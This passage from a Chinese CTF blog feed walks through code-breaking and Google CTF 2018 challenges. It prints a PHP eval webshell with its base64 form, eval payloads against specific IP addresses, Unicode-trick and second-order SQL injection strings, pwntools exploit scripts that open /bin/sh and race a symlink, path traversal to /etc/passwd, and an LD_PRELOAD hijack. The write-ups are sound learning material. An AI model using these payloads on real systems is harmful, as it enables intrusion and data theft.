这篇文章中知道在文件路径中包含<code>/.</code>或者<code>/../</code>会导致pathinfo无法获取到后缀名，这样就绕过后缀判断，写入php文件。之后的问题域名解析的输出只有一部分是可控的，这里有一个要点就是base64会忽视不符合要求的特殊字符，然后会以4个字符为一组解码字符，所以只要前面的数据为4的倍数就能正确执行。其次由于我们的输入点在数据的中间部分，所以也不能有<code>=</code>符号。</p><p>这里写入文件有一个重要的点，通过上面的这种特殊路径写入的文件只能创建新的文件，无法覆盖原来的旧文件。这点很重要，我就白忙活了半个小时……</p><p>最后，这个文件名其中有一部分是server_name，这里的值是获取的客户端请求的host值，因为在使用php流的时候会包含php，这里就可以把php放入host值中。</p><img src="/2019/01/10/code-breaking-esay-wp/2.png"><p>其中base64编码下面的webshell</p><p><code>&lt;?php @eval($_POST[&#39;618&#39;]); ?&gt;</code></p><p><code>PD9waHAgQGV2YWwoJF9QT1NUWyc2MTgnXSk7Pz4</code></p><p>最后我们在<code>http://51.158.75.42:8082/data/558cb3b807e236696e9e2c79295d7fee/x618.php</code>执行代码就可以获取flag了。</p><p><code>618=var_dump(glob(&quot;/var/www/*&quot;));</code></p><p><code>618=var_dump(file_get_contents(&#39;/var/www/flag_phpmag1c_ur1&#39;));</code></p><h2 id="easy-phplimit"><a href="#easy-phplimit" class="headerlink" title="easy - phplimit"></a>easy - phplimit</h2><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span><span class="keyword">if</span>(<span class="string">';'</span> === preg_replace(<span class="string">'/[^\W]+\((?R)?\)/'</span>, <span class="string">''</span>, $_GET[<span class="string">'code'</span>])) &#123;    </span><br><span class="line">    <span class="keyword">eval</span>($_GET[<span class="string">'code'</span>]);</span><br><span class="line">&#125; <span class="keyword">else</span> &#123;</span><br><span class="line">    show_source(<span class="keyword">__FILE__</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这是一道老题，通过正则表达式我们可以知道，这个code只能执行嵌套的函数，例如<code>abc(def())</code>这种，这里的思路就是利用http的header来传输payload，利用php的获取header的函数，再eval执行，就变成了任意代码执行。</p><p><code>?code=current(getallheaders());</code></p><p>但是，WTF，这是nginx的服务器，没有apache的相关函数，找了半天无功而返…… 找了找fish师傅的wp，他是利用了<code>get_defined_vars</code> 函数获取定义的变量，但是有很多变量我们不可控怎么办？这里有一个 <code>reset()</code> 操作把之前的变量全部重置。所以变量就只剩下我们传输的get参数，这样我们直接把payload放在get请求中，用implode全部取出，然后拼接// 注释掉后面的部分，又变成了任意代码执行了。</p><p><code>http://51.158.75.42:8084/?1=var_dump(glob(%27/var/www/*%27));//&amp;code=eval(implode(reset(get_defined_vars())));</code></p><p>而这里两次eval，第一次eval是把变量重置之后全部提取出来，提取出来的字符串值再次eval，才会执行我们前面的代码。</p><p><code>http://51.158.75.42:8084/?1=var_dump(file_get_contents(%27/var/www/flag_phpbyp4ss%27));//&amp;code=eval(implode(reset(get_defined_vars())));</code></p><p>这里也可以是其他的payload，都是大同小异。</p><p><code>?code=eval(next(current(get_defined_vars())));&amp;b=var_dump(glob(%27/var/www/*%27));</code></p><p>另外一种思路是嵌套使用函数搜索目录读取文件。</p><p><code>code=readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));</code></p><h2 id="easy-nodechr"><a href="#easy-nodechr" class="headerlink" title="easy - nodechr"></a>easy - nodechr</h2><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// initial libraries</span></span><br><span class="line"><span class="keyword">const</span> Koa = <span class="built_in">require</span>(<span class="string">'koa'</span>)</span><br><span class="line"><span class="keyword">const</span> sqlite = <span class="built_in">require</span>(<span class="string">'sqlite'</span>)</span><br><span class="line"><span class="keyword">const</span> fs = <span class="built_in">require</span>(<span class="string">'fs'</span>)</span><br><span class="line"><span class="keyword">const</span> views = <span class="built_in">require</span>(<span class="string">'koa-views'</span>)</span><br><span class="line"><span class="keyword">const</span> Router = <span class="built_in">require</span>(<span class="string">'koa-router'</span>)</span><br><span class="line"><span class="keyword">const</span> send = <span class="built_in">require</span>(<span class="string">'koa-send'</span>)</span><br><span class="line"><span class="keyword">const</span> bodyParser = <span class="built_in">require</span>(<span class="string">'koa-bodyparser'</span>)</span><br><span class="line"><span class="keyword">const</span> session = <span class="built_in">require</span>(<span class="string">'koa-session'</span>)</span><br><span class="line"><span class="keyword">const</span> isString = <span class="built_in">require</span>(<span class="string">'underscore'</span>).isString</span><br><span class="line"><span class="keyword">const</span> basename = <span class="built_in">require</span>(<span class="string">'path'</span>).basename</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> config = <span class="built_in">JSON</span>.parse(fs.readFileSync(<span class="string">'../config.json'</span>, &#123;<span class="attr">encoding</span>: <span class="string">'utf-8'</span>, <span class="attr">flag</span>: <span class="string">'r'</span>&#125;))</span><br><span class="line"></span><br><span class="line"><span class="keyword">async</span> <span class="function"><span class="keyword">function</span> <span class="title">main</span>(<span class="params"></span>) </span>&#123;</span><br><span class="line">    <span class="keyword">const</span> app = <span class="keyword">new</span> Koa()</span><br><span class="line">    <span class="keyword">const</span> router = <span class="keyword">new</span> Router()</span><br><span class="line">    <span class="keyword">const</span> db = <span class="keyword">await</span> sqlite.open(<span class="string">':memory:'</span>)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">await</span> db.exec(<span class="string">`CREATE TABLE "main"."users" (</span></span><br><span class="line"><span class="string">        "id" INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,</span></span><br><span class="line"><span class="string">        "username" TEXT NOT NULL,</span></span><br><span class="line"><span class="string">        "password" TEXT,</span></span><br><span class="line"><span class="string">        CONSTRAINT "unique_username" UNIQUE ("username")</span></span><br><span class="line"><span class="string">    )`</span>)</span><br><span class="line">    <span class="keyword">await</span> db.exec(<span class="string">`CREATE TABLE "main"."flags" (</span></span><br><span class="line"><span class="string">        "id" INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,</span></span><br><span class="line"><span class="string">        "flag" TEXT NOT NULL</span></span><br><span class="line"><span class="string">    )`</span>)</span><br><span class="line">    <span class="keyword">for</span> (<span class="keyword">let</span> user <span class="keyword">of</span> config.users) &#123;</span><br><span class="line">        <span class="keyword">await</span> db.run(<span class="string">`INSERT INTO "users"("username", "password") VALUES ('<span class="subst">$&#123;user.username&#125;</span>', '<span class="subst">$&#123;user.password&#125;</span>')`</span>)</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">await</span> db.run(<span class="string">`INSERT INTO "flags"("flag") VALUES ('<span class="subst">$&#123;config.flag&#125;</span>')`</span>)</span><br><span class="line"></span><br><span class="line">    router.all(<span class="string">'login'</span>, <span class="string">'/login/'</span>, login).get(<span class="string">'admin'</span>, <span class="string">'/'</span>, admin).get(<span class="string">'static'</span>, <span class="string">'/static/:path(.+)'</span>, <span class="keyword">static</span>).get(<span class="string">'/source'</span>, source)</span><br><span class="line"></span><br><span class="line">    app.use(views(__dirname + <span class="string">'/views'</span>, &#123;</span><br><span class="line">        map: &#123;</span><br><span class="line">            html: <span class="string">'underscore'</span></span><br><span class="line">        &#125;,</span><br><span class="line">        extension: <span class="string">'html'</span></span><br><span class="line">    &#125;)).use(bodyParser()).use(session(app))</span><br><span class="line">    </span><br><span class="line">    app.use(router.routes()).use(router.allowedMethods());</span><br><span class="line">    </span><br><span class="line">    app.keys = config.signed</span><br><span class="line">    app.context.db = db</span><br><span class="line">    app.context.router = router</span><br><span class="line">    app.listen(<span class="number">3000</span>)</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">safeKeyword</span>(<span class="params">keyword</span>) </span>&#123;</span><br><span class="line">    <span class="keyword">if</span>(isString(keyword) &amp;&amp; !keyword.match(<span class="regexp">/(union|select|;|\-\-)/i</span>s)) &#123;</span><br><span class="line">        <span class="keyword">return</span> keyword</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> <span class="literal">undefined</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">async</span> <span class="function"><span class="keyword">function</span> <span class="title">login</span>(<span class="params">ctx, next</span>) </span>&#123;</span><br><span class="line">    <span class="keyword">if</span>(ctx.method == <span class="string">'POST'</span>) &#123;</span><br><span class="line">        <span class="keyword">let</span> username = safeKeyword(ctx.request.body[<span class="string">'username'</span>])</span><br><span class="line">        <span class="keyword">let</span> password = safeKeyword(ctx.request.body[<span class="string">'password'</span>])</span><br><span class="line"></span><br><span class="line">        <span class="keyword">let</span> jump = ctx.router.url(<span class="string">'login'</span>)</span><br><span class="line">        <span class="keyword">if</span> (username &amp;&amp; password) &#123;</span><br><span class="line">            <span class="keyword">let</span> user = <span class="keyword">await</span> ctx.db.get(<span class="string">`SELECT * FROM "users" WHERE "username" = '<span class="subst">$&#123;username.toUpperCase()&#125;</span>' AND "password" = '<span class="subst">$&#123;password.toUpperCase()&#125;</span>'`</span>)</span><br><span class="line"></span><br><span class="line">            <span class="keyword">if</span> (user) &#123;</span><br><span class="line">                ctx.session.user = user</span><br><span class="line"></span><br><span class="line">                jump = ctx.router.url(<span class="string">'admin'</span>)</span><br><span class="line">            &#125;</span><br><span class="line"></span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        ctx.status = <span class="number">303</span></span><br><span class="line">        ctx.redirect(jump)</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        <span class="keyword">await</span> ctx.render(<span class="string">'index'</span>)</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">async</span> <span class="function"><span class="keyword">function</span> <span class="title">static</span>(<span class="params">ctx, next</span>) </span>&#123;</span><br><span class="line">    <span class="keyword">await</span> send(ctx, ctx.path)</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">async</span> <span class="function"><span class="keyword">function</span> <span class="title">admin</span>(<span class="params">ctx, next</span>) </span>&#123;</span><br><span class="line">    <span class="keyword">if</span>(!ctx.session.user) &#123;</span><br><span class="line">        ctx.status = <span class="number">303</span></span><br><span class="line">        <span class="keyword">return</span> ctx.redirect(ctx.router.url(<span class="string">'login'</span>))</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">await</span> ctx.render(<span class="string">'admin'</span>, &#123;</span><br><span class="line">        <span class="string">'user'</span>: ctx.session.user</span><br><span class="line">    &#125;)</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">async</span> <span class="function"><span class="keyword">function</span> <span class="title">source</span>(<span class="params">ctx, next</span>) </span>&#123;</span><br><span class="line">    <span class="keyword">await</span> send(ctx, basename(__filename))</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">main()</span><br></pre></td></tr></table></figure><p>这里的关键点就是<code>safeKeyword</code>函数的过滤黑名单，干掉了union和select，这以为着注入时彻底没办法使用了。在下面的登录查询逻辑中有一个很明显的注入，输入的字符串直接拼接进查询。其实一开始思路是从<code>isString</code>和<code>match</code>中寻找绕过方法，但是没有什么相关trick。后来在参考fish师傅的wp中，提到了toUpperCase，其实想想这里有个大写转换确实很诡异，所以突破口应该是在这里。果然在ph师傅的之前的文章中有fuzz出来的特殊字符。</p><p><code>https://www.leavesongs.com/HTML/javascript-up-low-ercase-tip.html</code></p><p>这里面 <code>ı</code> 能变成大写的<code>I</code> ，<code>ſ</code> 会变成大写的<code>S</code> ，那么这样就能在正常的字符中插入特殊字符绕过<code>safeKeyword</code>的检测。再加上我们知道flag存放在flags表中，user表的结构也是知道的，所以直接用union注入查flag的值。</p><p><code>&#39; unıon ſelect 1,flag,3 from flags where &#39;1&#39;=&#39;1</code></p><p>为了要闭合单引号，必须要凑个where语句。最终在登录界面拿到flag。</p><h2 id="Reference"><a href="#Reference" class="headerlink" title="Reference"></a>Reference</h2><p><code>https://lorexxar.cn/2018/12/07/codingbreak-wp/</code></p><p><code>https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html</code></p><p><code>https://www.cnblogs.com/iamstudy/articles/code_breaking_writeup.html</code></p><p><code>http://f1sh.site/2018/11/25/code-breaking-puzzles%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/</code></p><p><code>http://rui0.cn/archives/1015</code></p><p><code>https://blog.l0ca1.xyz/Code-Breaking</code></p><p><code>https://blog.csdn.net/fnmsd/article/details/84556522</code></p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;p&gt;ph师傅的代码审计CTF题目 &lt;code&gt;https://code-breaking.com&lt;/code&gt;&lt;/p&gt;
&lt;h2 id=&quot;easy-function&quot;&gt;&lt;a href=&quot;#easy-function&quot; class=&quot;headerlink&quot; title=&quot;easy 
      
    
    </summary>
    
      <category term="技术" scheme="https://hurricane618.me/categories/%E6%8A%80%E6%9C%AF/"/>
    
    
      <category term="CTF" scheme="https://hurricane618.me/tags/CTF/"/>
    
      <category term="代码审计" scheme="https://hurricane618.me/tags/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/"/>
    
  </entry>
  
  <entry>
    <title>Google CTF Beginner Part2</title>
    <link href="https://hurricane618.me/2018/08/15/google-ctf-beginner-part2/"/>
    <id>https://hurricane618.me/2018/08/15/google-ctf-beginner-part2/</id>
    <published>2018-08-14T16:47:21.000Z</published>
    <updated>2018-08-14T16:47:22.000Z</updated>
    
    <content type="html"><![CDATA[<h2 id="Holey-Beep-PWN"><a href="#Holey-Beep-PWN" class="headerlink" title="Holey Beep(PWN)"></a>Holey Beep(PWN)</h2><p>Holey Beep是CVE-2018-0492，详细的漏洞细节 <a href="https://sigint.sh/#/holeybeep" target="_blank" rel="noopener">https://sigint.sh/#/holeybeep</a> 。一开始以为要用这个的exp，结果一看给的二进制文件，似乎不太对……我们需要得到<code>/secret_cake_recipe</code>的内容，然而权限不够，所以这里应该是拿来越权的。</p><img src="/2018/08/15/google-ctf-beginner-part2/1.png"><p>我们看到第一个if是一个通过信号触发的条件，第二个if知道了程序需要参数，然后会open一个写死的路径，之后将输入的参数代入<code>ioctl(device,0x4B2F,参数)</code>，出现问题就会打印报错信息，然后关闭打开的文件。循环上面的操作把所有的参数都跑一遍。</p><p>信号触发的if会执行额外的一段函数。</p><img src="/2018/08/15/google-ctf-beginner-part2/2.png"><p>这里if成功的话就会打印错误信息，读取open的文件输出出来。这里应该是重点，有读写操作。</p><p>如果我们读的文件是<code>/secret_cake_recipe</code>那么只要触发signal以及满足if判断就可以拿到数据。这里可以用<code>ln -s</code>软链接生成<code>dev/console</code>，然后我们执行该程序同时发送SIGTERM信号就可以越权拿到数据。这里需要注意的是我们要让程序延长运行时间才行，如果运行时间不足，还没接收到信号就结束了。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python</span></span><br><span class="line"><span class="comment"># coding=utf-8</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> struct <span class="keyword">import</span> unpack,pack</span><br><span class="line"><span class="keyword">from</span> time <span class="keyword">import</span> sleep</span><br><span class="line"></span><br><span class="line">r = remote(<span class="string">"fridge-todo-list.ctfcompetition.com"</span>, <span class="number">1337</span>)</span><br><span class="line">r.send(<span class="string">"whz\n"</span>)</span><br><span class="line">r.readuntil(<span class="string">"&gt;"</span>)</span><br><span class="line">r.send(<span class="string">"2\n"</span>)</span><br><span class="line">r.readuntil(<span class="string">"read?"</span>)</span><br><span class="line">r.send(<span class="string">"-6\n"</span>)</span><br><span class="line">res = r.readuntil(<span class="string">"Hi whz,"</span>).splitlines()[<span class="number">0</span>]</span><br><span class="line">write_addr = res.split(<span class="string">':'</span>, <span class="number">1</span>)[<span class="number">1</span>][<span class="number">1</span>:].ljust(<span class="number">8</span>,chr(<span class="number">0</span>))</span><br><span class="line">write_addr = unpack(<span class="string">"&lt;Q"</span>, write_addr)[<span class="number">0</span>]</span><br><span class="line">base_addr = write_addr - <span class="number">0x910</span></span><br><span class="line">system_addr = base_addr + <span class="number">0x940</span></span><br><span class="line">r.readuntil(<span class="string">"&gt;"</span>)</span><br><span class="line">r.send(<span class="string">"3\n"</span>)</span><br><span class="line">r.readuntil(<span class="string">"entry?"</span>)</span><br><span class="line">r.send(<span class="string">"-4\n"</span>)</span><br><span class="line">r.send(<span class="string">"A"</span>*<span class="number">8</span> + pack(<span class="string">"&lt;Q"</span>, system_addr) + <span class="string">"\n"</span>)</span><br><span class="line">r.send(<span class="string">"/bin/sh\n"</span>)</span><br><span class="line">sleep(<span class="number">1</span>)</span><br><span class="line">r.send(<span class="string">"cd /tmp\n"</span>)</span><br><span class="line">r.send(<span class="string">"echo '#!/bin/bash' &gt; pwn.sh\n"</span>)</span><br><span class="line">r.send(<span class="string">"echo 'mkdir dev' &gt;&gt; pwn.sh\n"</span>)</span><br><span class="line">r.send(<span class="string">"echo 'ln -s /secret_cake_recipe dev/console' &gt;&gt; pwn.sh\n"</span>)</span><br><span class="line">r.send(<span class="string">"echo '/home/user/holey_beep &#123;1..4096&#125; &amp;' &gt;&gt; pwn.sh\n"</span>)</span><br><span class="line">r.send(<span class="string">"echo 'pkill holey_beep -SIGTERM' &gt;&gt; pwn.sh\n"</span>)</span><br><span class="line">r.send(<span class="string">"chmod +x pwn.sh\n"</span>)</span><br><span class="line">r.send(<span class="string">"./pwn.sh\n"</span>)</span><br><span class="line"></span><br><span class="line">r.interactive()</span><br></pre></td></tr></table></figure><p>这里需要多试几次来触发条件竞争，最后拿到flag</p><img src="/2018/08/15/google-ctf-beginner-part2/3.png"><h2 id="Admin-UI-PWN-RE"><a href="#Admin-UI-PWN-RE" class="headerlink" title="Admin UI(PWN+RE)"></a>Admin UI(PWN+RE)</h2><p>看了题目的介绍，再加上这个补丁信息，知道了有路径穿越漏洞。而一看提供的功能中只有第二个选项有读的操作，然后试了一下<code>../../../../../../../../../../../etc/passwd</code>，果然读到了passwd文件。</p><img src="/2018/08/15/google-ctf-beginner-part2/4.png"><p>那么剩下来的就只是寻找要读的文件了。</p><p>通过使用<code>../../../../../../proc/self/cmdline</code>得到运行程序的命令行参数。</p><img src="/2018/08/15/google-ctf-beginner-part2/5.png"><p>得到运行程序的命名，需要猜路径，猜到了<code>../main</code>，把读取到的二进制文件保存下来 <code>printf &quot;2\n../main\n3\n&quot; | nc mngmnt-iface.ctfcompetition.com 1337 &gt; output.bin</code></p><p>再通过16进制编辑器把多余的目录删掉，这样就得到了服务器上的二进制文件。</p><p>浏览代码，在验证登录的过程中打开了<code>flag</code>文件，然后比较输入。这样目标就很明确了，直接读<code>../flag</code>就可以拿到flag。</p><img src="/2018/08/15/google-ctf-beginner-part2/6.png"><h2 id="Admin-UI-2-PWN-RE"><a href="#Admin-UI-2-PWN-RE" class="headerlink" title="Admin UI 2(PWN+RE)"></a>Admin UI 2(PWN+RE)</h2><p>继续上一题的程序分析第二个密码</p><img src="/2018/08/15/google-ctf-beginner-part2/7.png"><p>可以看到这里对我们的输入异或之后会得到flag数组中的赋值，我们可以得到flag数组的值，只要再次异或回去即可得到密码。</p><img src="/2018/08/15/google-ctf-beginner-part2/8.png"><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">e_string = [<span class="number">0x84</span>, <span class="number">0x93</span>, <span class="number">0x81</span>, <span class="number">0xbc</span>, <span class="number">0x93</span>, <span class="number">0xb0</span>, <span class="number">0xa8</span>, <span class="number">0x98</span>, <span class="number">0x97</span>, <span class="number">0xa6</span>, <span class="number">0xb4</span>, <span class="number">0x94</span>, <span class="number">0xb0</span>, <span class="number">0xa8</span>, <span class="number">0xb5</span>, <span class="number">0x83</span>, <span class="number">0xbd</span>, <span class="number">0x98</span>, <span class="number">0x85</span>, <span class="number">0xa2</span>, <span class="number">0xb3</span>, <span class="number">0xb3</span>, <span class="number">0xa2</span>, <span class="number">0xb5</span>, <span class="number">0x98</span>, <span class="number">0xb3</span>, <span class="number">0xaf</span>, <span class="number">0xf3</span>, <span class="number">0xa9</span>, <span class="number">0x98</span>, <span class="number">0xf6</span>, <span class="number">0x98</span>, <span class="number">0xac</span>, <span class="number">0xf8</span>, <span class="number">0xba</span>]</span><br><span class="line">flag = <span class="string">""</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> s <span class="keyword">in</span> e_string:</span><br><span class="line">    s ^= <span class="number">0xc7</span></span><br><span class="line">    flag += chr(s)</span><br><span class="line"></span><br><span class="line"><span class="keyword">print</span> flag</span><br></pre></td></tr></table></figure><img src="/2018/08/15/google-ctf-beginner-part2/9.png"><h2 id="Admin-UI-3-PWN-RE"><a href="#Admin-UI-3-PWN-RE" class="headerlink" title="Admin UI 3(PWN+RE)"></a>Admin UI 3(PWN+RE)</h2><p>这里有两个漏洞点，第一个是格式化字符串漏洞，第二个是栈溢出漏洞，我这里是使用的是栈溢出漏洞。</p><img src="/2018/08/15/google-ctf-beginner-part2/10.png"><p>看到缓冲区的位置离bp寄存器有0x30的距离。</p><img src="/2018/08/15/google-ctf-beginner-part2/11.png"><p>又因为是64位程序，所以再加上8个字节的RBP，最后加上我们的geishell函数地址。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python</span></span><br><span class="line"><span class="comment"># coding=utf-8</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">r = remote(<span class="string">'mngmnt-iface.ctfcompetition.com'</span>,<span class="number">1337</span>)</span><br><span class="line">shell_add = <span class="number">0x41414349</span></span><br><span class="line"></span><br><span class="line">r.send(<span class="string">"1\n\n"</span>)</span><br><span class="line">r.recvuntil(<span class="string">"password"</span>)</span><br><span class="line">r.send(<span class="string">"CTF&#123;I_luv_buggy_sOFtware&#125;\n"</span>)</span><br><span class="line">r.recvuntil(<span class="string">"password"</span>)</span><br><span class="line">r.send(<span class="string">"A"</span>*<span class="number">35</span>+<span class="string">"\n"</span>)</span><br><span class="line">r.recvuntil(<span class="string">"Authenticated"</span>)</span><br><span class="line">r.send(<span class="string">"A"</span>*<span class="number">0x38</span> + p64(shell_add))</span><br><span class="line">r.send(<span class="string">"quit\n"</span>)</span><br><span class="line">r.send(<span class="string">"quit\n"</span>)</span><br><span class="line">r.interactive()</span><br></pre></td></tr></table></figure><img src="/2018/08/15/google-ctf-beginner-part2/12.png"><h2 id="Firmware-RE"><a href="#Firmware-RE" class="headerlink" title="Firmware(RE)"></a>Firmware(RE)</h2><p>虽然标签写的是RE但是……，做完的感觉就是一个MISC。</p><p>首先拿到一个zip文件，解压之后是一个gz压缩包，再次解压得到ext4的文件，搜索之后得知是一个Linux的文件系统。直接挂载之，<code>mount -t ext4 challenge2.ext4 /mnt</code>，需要root权限。挂载之后寻找线索，找了一圈在根目录下有个隐藏压缩文件<code>.mediapc_backdoor_password.gz</code>，解压cat一下，得到flag。</p><img src="/2018/08/15/google-ctf-beginner-part2/13.png"><h2 id="Gatekeepker-RE"><a href="#Gatekeepker-RE" class="headerlink" title="Gatekeepker(RE)"></a>Gatekeepker(RE)</h2><p>一个简单的字符串逆序程序，有两个参数，第二个参数会被逆序，然后和<code>zLl1ks_d4m_T0g_I</code>比较，这样就简单了，直接逆转回来就好。</p><img src="/2018/08/15/google-ctf-beginner-part2/14.png"><img src="/2018/08/15/google-ctf-beginner-part2/15.png"><h2 id="Media-DB-MISC"><a href="#Media-DB-MISC" class="headerlink" title="Media-DB(MISC)"></a>Media-DB(MISC)</h2><p>给了一个python文件，大概的功能是能记录歌手和歌曲的一个简易控制台，要我们获取oauth_token。在输入点中过滤了单引号，而且输入点只有一个没有办法使用\来转义单引号逃逸字符串，所以这里只能寻找其他思路来突破。</p><img src="/2018/08/15/google-ctf-beginner-part2/16.png"><p>观察到这里有一个从数据库随机读歌手的操作，再加上之前的操作单引号，双引号过滤不一致。</p><img src="/2018/08/15/google-ctf-beginner-part2/17.png"><p>那么这里的不一致性就会造成二阶注入，我们可以在过滤双引号的输入点中注入带有单引号的数据，然后在随机读歌手的时候单引号会被代入SQL语句中造成SQL注入。</p><p><code>xxxx&#39; union select 1,oauth_token from oauth_tokens --</code></p><p>这里顺带一提不能使用#注释符，因为#符号在python中也是注释符会破坏语法。</p><img src="/2018/08/15/google-ctf-beginner-part2/18.png"><h2 id="Filter-env-PWN"><a href="#Filter-env-PWN" class="headerlink" title="Filter env(PWN)"></a>Filter env(PWN)</h2><p>给了C的源代码，主要操作就是设置环境变量，代码中过滤了一些常见的环境变量。</p><img src="/2018/08/15/google-ctf-beginner-part2/19.png"><p>问题出在这个过滤只执行一次，所以我们重复设置环境变量就可以了。这里是利用LD_PRELOAD劫持函数，执行我们编译的函数。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span><span class="meta-string">&lt;stdlib.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span><span class="meta-string">&lt;unistd.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="keyword">void</span> __libc_start_main()</span><br><span class="line">&#123;</span><br><span class="line">    <span class="keyword">char</span> *arg[] = &#123;<span class="string">"/bin/cat"</span>, <span class="string">"/home/adminimum/flag"</span>, <span class="number">0</span>&#125;;</span><br><span class="line">    execve(arg[<span class="number">0</span>], arg, <span class="number">0</span>);</span><br><span class="line">    <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><code>gcc load.c -o load -shared -fPIC</code>生成动态链接文件</p><figure class="highlight python"><table><tr><td 